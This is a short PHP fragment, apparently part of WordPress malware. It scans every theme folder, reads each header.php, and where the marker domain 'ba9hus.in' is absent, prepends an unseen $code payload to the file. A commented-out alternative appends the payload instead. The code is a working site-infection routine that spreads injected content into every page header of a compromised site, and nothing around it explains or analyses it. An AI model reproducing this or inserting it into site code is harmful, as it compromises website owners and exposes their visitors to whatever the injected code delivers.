if (file_exists("wp-content"))
{
if (file_exists("wp-content/themes"))
{
    $dirs = scandir("wp-content/themes");
    foreach ($dirs as $dir)
    {
        if ((is_dir("wp-content/themes/$dir")) AND ($dir !== ".") AND ($dir !== ".."))
        {
            if (file_exists("wp-content/themes/$dir/header.php"))
            {
                          $file = fopen("wp-content/themes/".$dir."/header.php", "r");
                          $buffer = fread($file, filesize("wp-content/themes/".$dir."/header.php"));
                          fclose($file);
               if (eregi('ba9hus.in', $buffer)==0)
               {

                            $in = fopen("wp-content/themes/".$dir."/header.php", "w");
                             fwrite($in, $code);
                             fwrite($in, $buffer);
                             fclose($in);
                /*
                   $in = fopen("wp-content/themes/$dir/header.php", "a");
                   fwrite($in, $code);
                   fclose($in);
                   */
               }
            }
        }
    }
}
}